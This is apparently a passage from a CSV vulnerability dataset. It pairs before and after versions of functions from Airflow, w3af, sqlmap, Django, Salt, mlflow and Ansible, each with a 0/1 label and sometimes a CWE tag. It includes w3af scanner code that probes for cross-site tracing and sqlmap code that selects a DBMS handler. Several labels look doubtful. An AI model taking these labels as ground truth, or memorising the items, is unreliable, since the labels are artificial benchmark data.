# Make three triggers
trigger1 = Trigger(classpath=""airflow.triggers.testing.SuccessTrigger"", kwargs={})
trigger1.id = 1
trigger2 = Trigger(classpath=""airflow.triggers.testing.SuccessTrigger"", kwargs={})
trigger2.id = 2
trigger3 = Trigger(classpath=""airflow.triggers.testing.SuccessTrigger"", kwargs={})
trigger3.id = 3
session.add(trigger1)
session.add(trigger2)
session.add(trigger3)
session.commit()
assert session.query(Trigger).count() == 3
# Tie one to a fake TaskInstance that is not deferred, and one to one that is
task_instance = create_task_instance(
session=session, task_id=""fake"", state=State.DEFERRED, execution_date=timezone.utcnow()
)
task_instance.trigger_id = trigger1.id
session.add(task_instance)
fake_task = EmptyOperator(task_id=""fake2"", dag=task_instance.task.dag)
task_instance = TaskInstance(task=fake_task, run_id=task_instance.run_id)
task_instance.state = State.SUCCESS
task_instance.trigger_id = trigger2.id
session.add(task_instance)
session.commit()
# Run clear operation
Trigger.clean_unused()
# Verify that one trigger is gone, and the right one is left
assert session.query(Trigger).one().id == trigger1.id",CWE-703,apache/airflow,ef147dd8c403cb93c5419092cab2d20012ad3a72,"def test_clean_unused(session, create_task_instance):
""""""
Tests that unused triggers (those with no task instances referencing them)
are cleaned out automatically.
""""""
# Make three triggers
trigger1 = Trigger(classpath=""airflow.triggers.testing.SuccessTrigger"", kwargs={})
trigger1.id = 1
trigger2 = Trigger(classpath=""airflow.triggers.testing.SuccessTrigger"", kwargs={})
trigger2.id = 2
trigger3 = Trigger(classpath=""airflow.triggers.testing.SuccessTrigger"", kwargs={})
trigger3.id = 3
session.add(trigger1)
session.add(trigger2)
session.add(trigger3)
session.commit()
assert session.query(Trigger).count() == 3
# Tie one to a fake TaskInstance that is not deferred, and one to one that is
task_instance = create_task_instance(
session=session, task_id=""fake"", state=State.DEFERRED, execution_date=timezone.utcnow()
)
task_instance.trigger_id = trigger1.id
session.add(task_instance)
fake_task = EmptyOperator(task_id=""fake2"", dag=task_instance.task.dag)
task_instance = TaskInstance(task=fake_task, run_id=task_instance.run_id)
task_instance.state = State.SUCCESS
task_instance.trigger_id = trigger2.id
session.add(task_instance)
session.commit()
# Run clear operation
Trigger.clean_unused()
# Verify that one trigger is gone, and the right one is left
assert session.query(Trigger).one().id == trigger1.id"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/xst.py,0,"def _fuzzRequests(self, freq ):
'''
Verify xst vulns by sending a TRACE request and analyzing the response.
'''
if not self._exec:
# Do nothing
pass
else:
# This will raise the exception the next time _fuzzRequests is run and remove the plugin from the list
self._exec = False
# Create a mutant based on a fuzzable request
# It is really important to use A COPY of the fuzzable request, and not the original.
# The reason: I'm changing the method and the URL !
frCopy = freq.copy()
frCopy.setURL( urlParser.getDomainPath( frCopy.getURL() ) )
frCopy.setMethod('TRACE')
myMutant = mutant(frCopy)
# Add a header. I search for this value to determine if XST is valid
myheader = { 'FalseHeader': 'XST'}
myMutant.setHeaders(myheader)
# send the request to the server and recode the response
response = self._sendMutant( myMutant, analyze=False )
# create a regex to test the response.
regex = re.compile(""[FalseHeader: XST]"")
if re.match(regex,response.getBody()):
# If vulnerable record it. This will now become visible on the html Report
v = vuln.vuln( freq )
v.setId( response.id )
v.setSeverity(severity.LOW)
v.setName( 'Cross site tracing vulnerability' )
v.setDesc( 'The web server at ""'+ response.getURL() +'"" is vulnerable to Cross Site Tracing.' )
om.out.vulnerability( v.getDesc(), severity=v.getSeverity() )
kb.kb.append( self, 'xst', v )",,andresriancho/w3af,62c50a62de5663ebe90fd1a182de7553ea7fea5f,"def _fuzzRequests(self, freq ):
'''
Verify xst vulns by sending a TRACE request and analyzing the response.
'''
if not self._exec:
# Do nothing
pass
else:
# This will raise the exception the next time _fuzzRequests is run and remove the plugin from the list
self._exec = False
# Create a mutant based on a fuzzable request
# It is really important to use A COPY of the fuzzable request, and not the original.
# The reason: I'm changing the method and the URL !
frCopy = freq.copy()
frCopy.setURL( urlParser.getDomainPath( frCopy.getURL() ) )
frCopy.setMethod('TRACE')
myMutant = mutant(frCopy)
# Add a header. I search for this value to determine if XST is valid
myheader = { 'FalseHeader': 'XST'}
myMutant.setHeaders(myheader)
# send the request to the server and recode the response
response = self._sendMutant( myMutant, analyze=False )
# create a regex to test the response.
regex = re.compile(""[FalseHeader: XST]"")
if re.match(regex,response.getBody()):
# If vulnerable record it. This will now become visible on the html Report
v = vuln.vuln( freq )
v.setId( response.id )
v.setSeverity(severity.LOW)
v.setName( 'Cross site tracing vulnerability' )
v.setDesc( 'The web server at ""'+ response.getURL() +'"" is vulnerable to Cross Site Tracing.' )
om.out.vulnerability( v.getDesc() )
kb.kb.append( self, 'xst', v )"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/agent.py,0,"def _(pattern, repl, string):
retVal = string
match = None
for match in re.finditer(pattern, string):
pass
if match:
while True:
_ = re.search(r""\\g<([^>]+)>"", repl)
if _:
repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
else:
break
retVal = string[:match.start()] + repl + string[match.end():]
return retVal",,sqlmapproject/sqlmap,4f122ee0086a43108d0fca7191914b8649795fef,"def _(pattern, repl, string):
retVal = string
match = None
for match in re.finditer(pattern, string):
pass
if match:
while True:
_ = re.search(r""\\g<([^>]+)>"", repl)
if _:
repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
else:
break
retVal = string[:match.start()] + repl + string[match.end():]
return retVal"
,UNKNOWN,UNKNOWN,django/contrib/gis/db/backends/oracle/introspection.py,1,"def get_geometry_type(self, table_name, geo_col):
cursor = self.connection.cursor()
try:
# Querying USER_SDO_GEOM_METADATA to get the SRID and dimension information.
try:
cursor.execute(
'SELECT ""DIMINFO"", ""SRID"" FROM ""USER_SDO_GEOM_METADATA"" '
'WHERE ""TABLE_NAME""=%s AND ""COLUMN_NAME""=%s',
(table_name.upper(), geo_col.upper())
)
row = cursor.fetchone()
except Exception as msg:
new_msg = (
'Could not find entry in USER_SDO_GEOM_METADATA '
'corresponding to ""%s"".""%s""\n'
'Error message: %s.') % (table_name, geo_col, msg)
six.reraise(Exception, Exception(new_msg), sys.exc_info()[2])
# TODO: Research way to find a more specific geometry field type for
# the column's contents.
field_type = 'GeometryField'
# Getting the field parameters.
field_params = {}
dim, srid = row
if srid != 4326:
field_params['srid'] = srid
# Size of object array (SDO_DIM_ARRAY) is number of dimensions.
dim = dim.size()
if dim != 2:
field_params['dim'] = dim
finally:
cursor.close()
return field_type, field_params",CWE-89,django/django,9924c8a8b0f4281ba018ca3292ed78718fabe362,"def get_geometry_type(self, table_name, geo_col):
cursor = self.connection.cursor()
try:
# Querying USER_SDO_GEOM_METADATA to get the SRID and dimension information.
try:
cursor.execute(
'SELECT ""DIMINFO"", ""SRID"" FROM ""USER_SDO_GEOM_METADATA"" '
'WHERE ""TABLE_NAME""=%s AND ""COLUMN_NAME""=%s',
(table_name.upper(), geo_col.upper())
)
row = cursor.fetchone()
except Exception as msg:
new_msg = (
'Could not find entry in USER_SDO_GEOM_METADATA '
'corresponding to ""%s"".""%s""\n'
'Error message: %s.') % (table_name, geo_col, msg)
six.reraise(Exception, Exception(new_msg), sys.exc_info()[2])
# TODO: Research way to find a more specific geometry field type for
# the column's contents.
field_type = 'GeometryField'
# Getting the field parameters.
field_params = {}
dim, srid = row
if srid != 4326:
field_params['srid'] = srid
# Length of object array ( SDO_DIM_ARRAY ) is number of dimensions.
dim = len(dim)
if dim != 2:
field_params['dim'] = dim
finally:
cursor.close()
return field_type, field_params"
,UNKNOWN,UNKNOWN,providers/tests/apache/pig/operators/test_pig.py,1,"def test_prepare_template(self):
pig = ""sh echo $DATE;""
task_id = TEST_TASK_ID
operator = PigOperator(pig=pig, task_id=task_id)
operator.prepare_template()
assert pig == operator.pig
# converts when pigparams_jinja_translate = true
operator = PigOperator(pig=pig, task_id=task_id, pigparams_jinja_translate=True)
operator.prepare_template()
assert operator.pig == ""sh echo {{ DATE }};""",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_prepare_template(self):
pig = ""sh echo $DATE;""
task_id = TEST_TASK_ID
operator = PigOperator(pig=pig, task_id=task_id)
operator.prepare_template()
assert pig == operator.pig
# converts when pigparams_jinja_translate = true
operator = PigOperator(pig=pig, task_id=task_id, pigparams_jinja_translate=True)
operator.prepare_template()
assert ""sh echo {{ DATE }};"" == operator.pig"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/win_lgpo.py,0,"def _processValueItem(element, reg_key, reg_valuename, policy, parent_element,
check_deleted=False, this_element_value=None):
'''
helper function to process a value type item and generate the expected
string in the Registry.pol file
element - the element to process
reg_key - the registry key associated with the element (some inherit from
their parent policy)
reg_valuename - the registry valueName associated with the element (some
inherit from their parent policy)
policy - the parent policy element
parent_element - the parent element (primarily passed in to differentiate
children of ""elements"" objects
check_deleted - if the returned expected string should be for a deleted
value
this_element_value - a specific value to place into the expected string
returned for ""elements"" children whose values are
specified by the user
'''
registry = Registry()
expected_string = None
# https://msdn.microsoft.com/en-us/library/dn606006(v=vs.85).aspx
this_vtype = 'REG_SZ'
encoded_semicolon = ';'.encode('utf-16-le')
encoded_null = chr(0).encode('utf-16-le')
if reg_key:
reg_key = reg_key.encode('utf-16-le')
if reg_valuename:
reg_valuename = reg_valuename.encode('utf-16-le')
if etree.QName(element).localname == 'decimal' and etree.QName(parent_element).localname != 'elements':
this_vtype = 'REG_DWORD'
if 'value' in element.attrib:
this_element_value = struct.pack(b'I', int(element.attrib['value']))
else:
log.error('The %s child %s element for the policy with '
'attributes: %s does not have the required ""value"" '
'attribute. The element attributes are: %s',
etree.QName(parent_element).localname,
etree.QName(element).localname,
policy.attrib,
element.attrib)
return None
elif etree.QName(element).localname == 'longDecimal' and etree.QName(parent_element).localname != 'elements':
# WARNING: no longDecimals in current ADMX files included with 2012
# server, so untested/assumed
this_vtype = 'REG_QWORD'
if 'value' in element.attrib:
this_element_value = struct.pack(b'Q', int(element.attrib['value']))
else:
log.error('The %s child %s element for the policy with '
'attributes: %s does not have the required ""value"" '
'attribute. The element attributes are: %s',
etree.QName(parent_element).localname,
etree.QName(element).localname,
policy.attrib,
element.attrib)
return None
elif etree.QName(element).localname == 'string':
this_vtype = 'REG_SZ'
this_element_value = b''.join([element.text.encode('utf-16-le'),
encoded_null])
elif etree.QName(parent_element).localname == 'elements':
standard_element_expected_string = True
if etree.QName(element).localname == 'boolean':
# a boolean element that has no children will add a REG_DWORD == 1
# on true or delete the value on false
# https://msdn.microsoft.com/en-us/library/dn605978(v=vs.85).aspx
if this_element_value is False:
check_deleted = True
if not check_deleted:
this_vtype = 'REG_DWORD'
this_element_value = struct.pack('I', 1)
standard_element_expected_string = False
elif etree.QName(element).localname == 'decimal':
# https://msdn.microsoft.com/en-us/library/dn605987(v=vs.85).aspx
this_vtype = 'REG_DWORD'
requested_val = this_element_value
if this_element_value is not None:
this_element_value = struct.pack(b'I', int(this_element_value))
if 'storeAsText' in element.attrib:
if element.attrib['storeAsText'].lower() == 'true':
this_vtype = 'REG_SZ'
if requested_val is not None:
this_element_value = six.text_type(requested_val).encode('utf-16-le')
if check_deleted:
this_vtype = 'REG_SZ'
elif etree.QName(element).localname == 'longDecimal':
# https://msdn.microsoft.com/en-us/library/dn606015(v=vs.85).aspx
this_vtype = 'REG_QWORD'
requested_val = this_element_value
if this_element_value is not None:
this_element_value = struct.pack(b'Q', int(this_element_value))
if 'storeAsText' in element.attrib:
if element.attrib['storeAsText'].lower() == 'true':
this_vtype = 'REG_SZ'
if requested_val is not None:
this_element_value = six.text_type(requested_val).encode('utf-16-le')
elif etree.QName(element).localname == 'text':
# https://msdn.microsoft.com/en-us/library/dn605969(v=vs.85).aspx
this_vtype = 'REG_SZ'
if 'expandable' in element.attrib:
if element.attrib['expandable'].lower() == 'true':
this_vtype = 'REG_EXPAND_SZ'
if this_element_value is not None:
this_element_value = b''.join([this_element_value.encode('utf-16-le'),
encoded_null])
elif etree.QName(element).localname == 'multiText':
this_vtype = 'REG_MULTI_SZ' if not check_deleted else 'REG_SZ'
if this_element_value is not None:
this_element_value = '{0}{1}{1}'.format(chr(0).join(this_element_value), chr(0))
elif etree.QName(element).localname == 'list':
standard_element_expected_string = False
del_keys = b''
element_valuenames = []
element_values = this_element_value
if this_element_value is not None:
element_valuenames = list([str(z) for z in range(1, len(this_element_value) + 1)])
if 'additive' in element.attrib:
if element.attrib['additive'].lower() == 'false':
# a delete values will be added before all the other
# value = data pairs
del_keys = b''.join(['['.encode('utf-16-le'),
reg_key,
encoded_null,
encoded_semicolon,
'**delvals.'.encode('utf-16-le'),
encoded_null,
encoded_semicolon,
chr(registry.vtype[this_vtype]).encode('utf-32-le'),
encoded_semicolon,
six.unichr(len(' {0}'.format(chr(0)).encode('utf-16-le'))).encode('utf-32-le'),
encoded_semicolon,
' '.encode('utf-16-le'),
encoded_null,
']'.encode('utf-16-le')])
if 'expandable' in element.attrib:
this_vtype = 'REG_EXPAND_SZ'
if element.attrib.get('explicitValue', 'false').lower() == 'true':
if this_element_value is not None:
element_valuenames = [str(k) for k in this_element_value.keys()]
element_values = [str(v) for v in this_element_value.values()]
elif 'valuePrefix' in element.attrib:
# if the valuePrefix attribute exists, the valuenames are
# most prefixes attributes are empty in the admx files, so the valuenames
# end up being just numbers
if element.attrib['valuePrefix'] != '':
if this_element_value is not None:
element_valuenames = ['{0}{1}'.format(
element.attrib['valuePrefix'], k) for k in element_valuenames]
else:
# if there is no valuePrefix attribute, the valuename is the value
if element_values is not None:
element_valuenames = [str(z) for z in element_values]
if not check_deleted:
if this_element_value is not None:
log.debug('_processValueItem has an explicit '
'element_value of %s', this_element_value)
expected_string = del_keys
log.debug('element_valuenames == %s and element_values '
'== %s', element_valuenames, element_values)
for i, item in enumerate(element_valuenames):
expected_string = expected_string + b''.join(['['.encode('utf-16-le'),
reg_key,
encoded_null,
encoded_semicolon,
element_valuenames[i].encode('utf-16-le'),
encoded_null,
encoded_semicolon,
chr(registry.vtype[this_vtype]).encode('utf-32-le'),
encoded_semicolon,
six.unichr(len('{0}{1}'.format(element_values[i],
chr(0)).encode('utf-16-le'))).encode('utf-32-le'),
encoded_semicolon,
b''.join([element_values[i].encode('utf-16-le'),
encoded_null]),
']'.encode('utf-16-le')])
else:
expected_string = del_keys + b''.join(['['.encode('utf-16-le'),
reg_key,
encoded_null,
encoded_semicolon])
else:
expected_string = b''.join(['['.encode('utf-16-le'),
reg_key,
encoded_null,
encoded_semicolon,
'**delvals.'.encode('utf-16-le'),
encoded_null,
encoded_semicolon,
chr(registry.vtype[this_vtype]).encode('utf-32-le'),
encoded_semicolon,
six.unichr(len(' {0}'.format(chr(0)).encode('utf-16-le'))).encode('utf-32-le'),
encoded_semicolon,
' '.encode('utf-16-le'),
encoded_null,
']'.encode('utf-16-le')])
elif etree.QName(element).localname == 'enum':
if this_element_value is not None:
pass
if standard_element_expected_string and not check_deleted:
if this_element_value is not None:
expected_string = b''.join(['['.encode('utf-16-le'),
reg_key,
encoded_null,
encoded_semicolon,
reg_valuename,
encoded_null,
encoded_semicolon,
chr(registry.vtype[this_vtype]).encode('utf-32-le'),
encoded_semicolon,
six.unichr(len(this_element_value)).encode('utf-32-le'),
encoded_semicolon,
this_element_value,
']'.encode('utf-16-le')])
else:
expected_string = b''.join(['['.encode('utf-16-le'),
reg_key,
encoded_null,
encoded_semicolon,
reg_valuename,
encoded_null,
encoded_semicolon,
chr(registry.vtype[this_vtype]).encode('utf-32-le'),
encoded_semicolon])
if not expected_string:
if etree.QName(element).localname == ""delete"" or check_deleted:
# delete value
expected_string = b''.join(['['.encode('utf-16-le'),
reg_key,
encoded_null,
encoded_semicolon,
'**del.'.encode('utf-16-le'),
reg_valuename,
encoded_null,
encoded_semicolon,
chr(registry.vtype[this_vtype]).encode('utf-32-le'),
encoded_semicolon,
six.unichr(len(' {0}'.format(chr(0)).encode('utf-16-le'))).encode('utf-32-le'),
encoded_semicolon,
' '.encode('utf-16-le'),
encoded_null,
']'.encode('utf-16-le')])
else:
expected_string = b''.join(['['.encode('utf-16-le'),
reg_key,
encoded_null,
encoded_semicolon,
reg_valuename,
encoded_null,
encoded_semicolon,
chr(registry.vtype[this_vtype]).encode('utf-32-le'),
encoded_semicolon,
six.unichr(len(this_element_value)).encode('utf-32-le'),
encoded_semicolon,
this_element_value,
']'.encode('utf-16-le')])
return expected_string",,saltstack/salt,6c1fd0bf649a4f9a66eb2dbffc87556f85144222,"def _processValueItem(element, reg_key, reg_valuename, policy, parent_element,
check_deleted=False, this_element_value=None):
'''
helper function to process a value type item and generate the expected
string in the Registry.pol file
element - the element to process
reg_key - the registry key associated with the element (some inherit from
their parent policy)
reg_valuename - the registry valueName associated with the element (some
inherit from their parent policy)
policy - the parent policy element
parent_element - the parent element (primarily passed in to differentiate
children of ""elements"" objects
check_deleted - if the returned expected string should be for a deleted
value
this_element_value - a specific value to place into the expected string
returned for ""elements"" children whose values are
specified by the user
'''
registry = Registry()
expected_string = None
# https://msdn.microsoft.com/en-us/library/dn606006(v=vs.85).aspx
this_vtype = 'REG_SZ'
encoded_semicolon = ';'.encode('utf-16-le')
encoded_null = chr(0).encode('utf-16-le')
if reg_key:
reg_key = reg_key.encode('utf-16-le')
if reg_valuename:
reg_valuename = reg_valuename.encode('utf-16-le')
if etree.QName(element).localname == 'decimal' and etree.QName(parent_element).localname != 'elements':
this_vtype = 'REG_DWORD'
if 'value' in element.attrib:
this_element_value = struct.pack(b'I', int(element.attrib['value']))
else:
log.error('The %s child %s element for the policy with '
'attributes: %s does not have the required ""value"" '
'attribute. The element attributes are: %s',
etree.QName(parent_element).localname,
etree.QName(element).localname,
policy.attrib,
element.attrib)
return None
elif etree.QName(element).localname == 'longDecimal' and etree.QName(parent_element).localname != 'elements':
# WARNING: no longDecimals in current ADMX files included with 2012
# server, so untested/assumed
this_vtype = 'REG_QWORD'
if 'value' in element.attrib:
this_element_value = struct.pack(b'Q', int(element.attrib['value']))
else:
log.error('The %s child %s element for the policy with '
'attributes: %s does not have the required ""value"" '
'attribute. The element attributes are: %s',
etree.QName(parent_element).localname,
etree.QName(element).localname,
policy.attrib,
element.attrib)
return None
elif etree.QName(element).localname == 'string':
this_vtype = 'REG_SZ'
this_element_value = b''.join([element.text.encode('utf-16-le'),
encoded_null])
elif etree.QName(parent_element).localname == 'elements':
standard_element_expected_string = True
if etree.QName(element).localname == 'boolean':
# a boolean element that has no children will add a REG_DWORD == 1
# on true or delete the value on false
# https://msdn.microsoft.com/en-us/library/dn605978(v=vs.85).aspx
if this_element_value is False:
check_deleted = True
if not check_deleted:
this_vtype = 'REG_DWORD'
this_element_value = chr(1).encode('utf-16-le')
standard_element_expected_string = False
elif etree.QName(element).localname == 'decimal':
# https://msdn.microsoft.com/en-us/library/dn605987(v=vs.85).aspx
this_vtype = 'REG_DWORD'
requested_val = this_element_value
if this_element_value is not None:
this_element_value = struct.pack(b'I', int(this_element_value))
if 'storeAsText' in element.attrib:
if element.attrib['storeAsText'].lower() == 'true':
this_vtype = 'REG_SZ'
if requested_val is not None:
this_element_value = six.text_type(requested_val).encode('utf-16-le')
if check_deleted:
this_vtype = 'REG_SZ'
elif etree.QName(element).localname == 'longDecimal':
# https://msdn.microsoft.com/en-us/library/dn606015(v=vs.85).aspx
this_vtype = 'REG_QWORD'
requested_val = this_element_value
if this_element_value is not None:
this_element_value = struct.pack(b'Q', int(this_element_value))
if 'storeAsText' in element.attrib:
if element.attrib['storeAsText'].lower() == 'true':
this_vtype = 'REG_SZ'
if requested_val is not None:
this_element_value = six.text_type(requested_val).encode('utf-16-le')
elif etree.QName(element).localname == 'text':
# https://msdn.microsoft.com/en-us/library/dn605969(v=vs.85).aspx
this_vtype = 'REG_SZ'
if 'expandable' in element.attrib:
if element.attrib['expandable'].lower() == 'true':
this_vtype = 'REG_EXPAND_SZ'
if this_element_value is not None:
this_element_value = b''.join([this_element_value.encode('utf-16-le'),
encoded_null])
elif etree.QName(element).localname == 'multiText':
this_vtype = 'REG_MULTI_SZ' if not check_deleted else 'REG_SZ'
if this_element_value is not None:
this_element_value = '{0}{1}{1}'.format(chr(0).join(this_element_value), chr(0))
elif etree.QName(element).localname == 'list':
standard_element_expected_string = False
del_keys = b''
element_valuenames = []
element_values = this_element_value
if this_element_value is not None:
element_valuenames = list([str(z) for z in range(1, len(this_element_value) + 1)])
if 'additive' in element.attrib:
if element.attrib['additive'].lower() == 'false':
# a delete values will be added before all the other
# value = data pairs
del_keys = b''.join(['['.encode('utf-16-le'),
reg_key,
encoded_null,
encoded_semicolon,
'**delvals.'.encode('utf-16-le'),
encoded_null,
encoded_semicolon,
chr(registry.vtype[this_vtype]).encode('utf-32-le'),
encoded_semicolon,
six.unichr(len(' {0}'.format(chr(0)).encode('utf-16-le'))).encode('utf-32-le'),
encoded_semicolon,
' '.encode('utf-16-le'),
encoded_null,
']'.encode('utf-16-le')])
if 'expandable' in element.attrib:
this_vtype = 'REG_EXPAND_SZ'
if element.attrib.get('explicitValue', 'false').lower() == 'true':
if this_element_value is not None:
element_valuenames = [str(k) for k in this_element_value.keys()]
element_values = [str(v) for v in this_element_value.values()]
elif 'valuePrefix' in element.attrib:
# if the valuePrefix attribute exists, the valuenames are
# most prefixes attributes are empty in the admx files, so the valuenames
# end up being just numbers
if element.attrib['valuePrefix'] != '':
if this_element_value is not None:
element_valuenames = ['{0}{1}'.format(
element.attrib['valuePrefix'], k) for k in element_valuenames]
else:
# if there is no valuePrefix attribute, the valuename is the value
if element_values is not None:
element_valuenames = [str(z) for z in element_values]
if not check_deleted:
if this_element_value is not None:
log.debug('_processValueItem has an explicit '
'element_value of %s', this_element_value)
expected_string = del_keys
log.debug('element_valuenames == %s and element_values '
'== %s', element_valuenames, element_values)
for i, item in enumerate(element_valuenames):
expected_string = expected_string + b''.join(['['.encode('utf-16-le'),
reg_key,
encoded_null,
encoded_semicolon,
element_valuenames[i].encode('utf-16-le'),
encoded_null,
encoded_semicolon,
chr(registry.vtype[this_vtype]).encode('utf-32-le'),
encoded_semicolon,
six.unichr(len('{0}{1}'.format(element_values[i],
chr(0)).encode('utf-16-le'))).encode('utf-32-le'),
encoded_semicolon,
b''.join([element_values[i].encode('utf-16-le'),
encoded_null]),
']'.encode('utf-16-le')])
else:
expected_string = del_keys + b''.join(['['.encode('utf-16-le'),
reg_key,
encoded_null,
encoded_semicolon])
else:
expected_string = b''.join(['['.encode('utf-16-le'),
reg_key,
encoded_null,
encoded_semicolon,
'**delvals.'.encode('utf-16-le'),
encoded_null,
encoded_semicolon,
chr(registry.vtype[this_vtype]).encode('utf-32-le'),
encoded_semicolon,
six.unichr(len(' {0}'.format(chr(0)).encode('utf-16-le'))).encode('utf-32-le'),
encoded_semicolon,
' '.encode('utf-16-le'),
encoded_null,
']'.encode('utf-16-le')])
elif etree.QName(element).localname == 'enum':
if this_element_value is not None:
pass
if standard_element_expected_string and not check_deleted:
if this_element_value is not None:
expected_string = b''.join(['['.encode('utf-16-le'),
reg_key,
encoded_null,
encoded_semicolon,
reg_valuename,
encoded_null,
encoded_semicolon,
chr(registry.vtype[this_vtype]).encode('utf-32-le'),
encoded_semicolon,
six.unichr(len(this_element_value)).encode('utf-32-le'),
encoded_semicolon,
this_element_value,
']'.encode('utf-16-le')])
else:
expected_string = b''.join(['['.encode('utf-16-le'),
reg_key,
encoded_null,
encoded_semicolon,
reg_valuename,
encoded_null,
encoded_semicolon,
chr(registry.vtype[this_vtype]).encode('utf-32-le'),
encoded_semicolon])
if not expected_string:
if etree.QName(element).localname == ""delete"" or check_deleted:
# delete value
expected_string = b''.join(['['.encode('utf-16-le'),
reg_key,
encoded_null,
encoded_semicolon,
'**del.'.encode('utf-16-le'),
reg_valuename,
encoded_null,
encoded_semicolon,
chr(registry.vtype[this_vtype]).encode('utf-32-le'),
encoded_semicolon,
six.unichr(len(' {0}'.format(chr(0)).encode('utf-16-le'))).encode('utf-32-le'),
encoded_semicolon,
' '.encode('utf-16-le'),
encoded_null,
']'.encode('utf-16-le')])
else:
expected_string = b''.join(['['.encode('utf-16-le'),
reg_key,
encoded_null,
encoded_semicolon,
reg_valuename,
encoded_null,
encoded_semicolon,
chr(registry.vtype[this_vtype]).encode('utf-32-le'),
encoded_semicolon,
six.unichr(len(this_element_value)).encode('utf-32-le'),
encoded_semicolon,
this_element_value,
']'.encode('utf-16-le')])
return expected_string"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/projects/docker.py,0,"def validate_docker_installation():
""""""
Verify if Docker is installed on host machine.
""""""
try:
docker_path = ""docker""
process._exec_cmd([docker_path, ""--help""], throw_on_error=False)
except EnvironmentError:
raise ExecutionException(
""Could not find Docker executable. ""
""Ensure Docker is installed as per the instructions ""
""at https://docs.docker.com/install/overview/.""
)",,mlflow/mlflow,c98313482168137e39a6e6b0ed7169de5bfe0ba5,"def validate_docker_installation():
""""""
Verify if Docker is installed on host machine.
""""""
try:
docker_path = ""docker""
process.exec_cmd([docker_path, ""--help""], throw_on_error=False)
except EnvironmentError:
raise ExecutionException(
""Could not find Docker executable. ""
""Ensure Docker is installed as per the instructions ""
""at https://docs.docker.com/install/overview/.""
)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,lib/controller/handler.py,0,"def setHandler():
""""""
Detect which is the target web application back-end database
management system.
""""""
count = 0
dbmsNames = ( ""MySQL"", ""Oracle"", ""PostgreSQL"", ""Microsoft SQL Server"", ""SQLite"", ""Microsoft Access"", ""Firebird"", ""SAP MaxDB"", ""Sybase"" )
dbmsObj = [
( MYSQL_ALIASES, MySQLMap, MySQLConn ),
( ORACLE_ALIASES, OracleMap, OracleConn ),
( PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn ),
( MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn ),
( SQLITE_ALIASES, SQLiteMap, SQLiteConn ),
( ACCESS_ALIASES, AccessMap, AccessConn ),
( FIREBIRD_ALIASES, FirebirdMap, FirebirdConn ),
( MAXDB_ALIASES, MaxDBMap, MaxDBConn ),
( SYBASE_ALIASES, SybaseMap, SybaseConn ),
]
if kb.htmlFp:
inferencedDbms = kb.htmlFp[-1]
else:
inferencedDbms = None
for injection in kb.injections:
if hasattr(injection, ""dbms""):
inferencedDbms = injection.dbms
break
if inferencedDbms is not None:
for i in xrange(len(dbmsObj)):
dbmsAliases, _, _ = dbmsObj[i]
if inferencedDbms.lower() in dbmsAliases:
if i > 0:
pushValue(dbmsObj[i])
dbmsObj.remove(dbmsObj[i])
dbmsObj.insert(0, popValue())
break
for dbmsAliases, dbmsMap, dbmsConn in dbmsObj:
if conf.dbms and conf.dbms not in dbmsAliases:
debugMsg = ""skipping test for %s"" % dbmsNames[count]
logger.debug(debugMsg)
count += 1
continue
kb.misc.handler = handler = dbmsMap()
conf.dbmsConnector = dbmsConn()
if conf.direct:
logger.debug(""forcing timeout to 10 seconds"")
conf.timeout = 10
conf.dbmsConnector.connect()
if handler.checkDbms():
if not conf.dbms or conf.dbms in dbmsAliases:
kb.dbmsDetected = True
conf.dbmsHandler = handler
return
else:
conf.dbmsConnector = None",,andresriancho/w3af,c8f943f5e4c2f035753a415f703aad4518e17dc4,"def setHandler():
""""""
Detect which is the target web application back-end database
management system.
""""""
count = 0
dbmsNames = ( ""MySQL"", ""Oracle"", ""PostgreSQL"", ""Microsoft SQL Server"", ""SQLite"", ""Microsoft Access"", ""Firebird"", ""SAP MaxDB"", ""Sybase"" )
dbmsMap = [
( MYSQL_ALIASES, MySQLMap, MySQLConn ),
( ORACLE_ALIASES, OracleMap, OracleConn ),
( PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn ),
( MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn ),
( SQLITE_ALIASES, SQLiteMap, SQLiteConn ),
( ACCESS_ALIASES, AccessMap, AccessConn ),
( FIREBIRD_ALIASES, FirebirdMap, FirebirdConn ),
( MAXDB_ALIASES, MaxDBMap, MaxDBConn ),
( SYBASE_ALIASES, SybaseMap, SybaseConn ),
]
if kb.htmlFp:
inferencedDbms = kb.htmlFp[-1]
elif hasattr(kb.injection, ""dbms""):
inferencedDbms = kb.injection.dbms
else:
inferencedDbms = None
if inferencedDbms is not None:
for i in xrange(len(dbmsMap)):
dbmsAliases, _, _ = dbmsMap[i]
if inferencedDbms.lower() in dbmsAliases:
if i > 0:
pushValue(dbmsMap[i])
dbmsMap.remove(dbmsMap[i])
dbmsMap.insert(0, popValue())
break
for dbmsAliases, dbmsMap, dbmsConn in dbmsMap:
if conf.dbms and conf.dbms not in dbmsAliases:
debugMsg = ""skipping test for %s"" % dbmsNames[count]
logger.debug(debugMsg)
count += 1
continue
kb.misc.handler = handler = dbmsMap()
conf.dbmsConnector = dbmsConn()
if conf.direct:
logger.debug(""forcing timeout to 10 seconds"")
conf.timeout = 10
conf.dbmsConnector.connect()
if handler.checkDbms():
if not conf.dbms or conf.dbms in dbmsAliases:
kb.dbmsDetected = True
conf.dbmsHandler = handler
return
else:
conf.dbmsConnector = None"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/action/service.py,1,"def run(self, tmp=None, task_vars=None):
''' handler for package operations '''
if task_vars is None:
task_vars = dict()
result = super(ActionModule, self).run(tmp, task_vars)
module = self._task.args.get('use', 'auto').lower()
if module == 'auto':
try:
if self._task.delegate_to: # if we delegate, we should use delegated host's facts
module = self._templar.template(""{{hostvars['%s']['ansible_service_mgr']}}"" % self._task.delegate_to)
else:
module = self._templar.template('{{ansible_service_mgr}}')
except:
pass # could not get it from template!
if module == 'auto':
